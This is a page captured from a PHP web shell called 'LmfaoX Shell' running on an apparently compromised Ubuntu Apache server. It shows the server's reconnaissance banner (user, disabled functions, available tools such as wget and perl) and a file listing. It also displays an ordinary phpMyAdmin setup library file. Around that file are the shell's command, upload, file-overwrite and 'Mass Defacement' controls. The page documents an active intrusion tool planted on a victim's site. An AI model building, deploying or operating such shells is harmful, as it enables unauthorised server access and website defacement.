ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:24.52 GB of 70.42 GB (34.82%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ map/ site/ sql_control/ setup/ lib/ - drwxr-sr-x

Directory:
Viewing file:     form_processing.lib.php (2.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Formset processing library
 *
 * @package phpMyAdmin-setup
 */

/**
 * Processes forms registered in $form_display, handles error correction
 *
 * @param FormDisplay $form_display
 */
function process_formset(FormDisplay $form_display) {
    if (
filter_input(INPUT_GET'mode') == 'revert') {
        
// revert erroneous fields to their default values
        
$form_display->fixErrors();
        
// drop post data
        
header('HTTP/1.1 303 See Other');
        
header('Location: index.php');
        exit;
    }
    if (!
$form_display->process(false)) {
        
// handle form view and failed POST
        
$form_display->display(truetrue);
    } else {
        
// check for form errors
        
if ($form_display->hasErrors()) {
            
// form has errors, show warning
            
$separator PMA_get_arg_separator('html');
            
$page filter_input(INPUT_GET'page');
            
$formset filter_input(INPUT_GET'formset');
            
$formset $formset "{$separator}formset=$formset'';
            
$id filter_input(INPUT_GET'id'FILTER_VALIDATE_INT);
            if (
$id === null && $page == 'servers') {
                
// we've just added a new server, get it's id
                
$id ConfigFile::getInstance()->getServerCount();
            }
            
$id $id "{$separator}id=$id'';
            
?>
            <div class="error">
                <h4><?php echo __('Warning'?></h4>
                <?php echo __('Submitted form contains errors'?><br />
                <a href="?page=<?php echo $page $formset $id $separator ?>mode=revert"><?php echo __('Try to revert erroneous fields to their default values'?></a>
            </div>
            <?php $form_display->displayErrors() ?>
            <a class="btn" href="index.php"><?php echo __('Ignore errors'?></a>
            &nbsp;
            <a class="btn" href="?page=<?php echo $page $formset $id $separator ?>mode=edit"><?php echo __('Show form'?></a>
            <?php
        
} else {
            
// drop post data
            
header('HTTP/1.1 303 See Other');
            
header('Location: index.php');
            exit;
        }
    }
}
?>
Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2316 seconds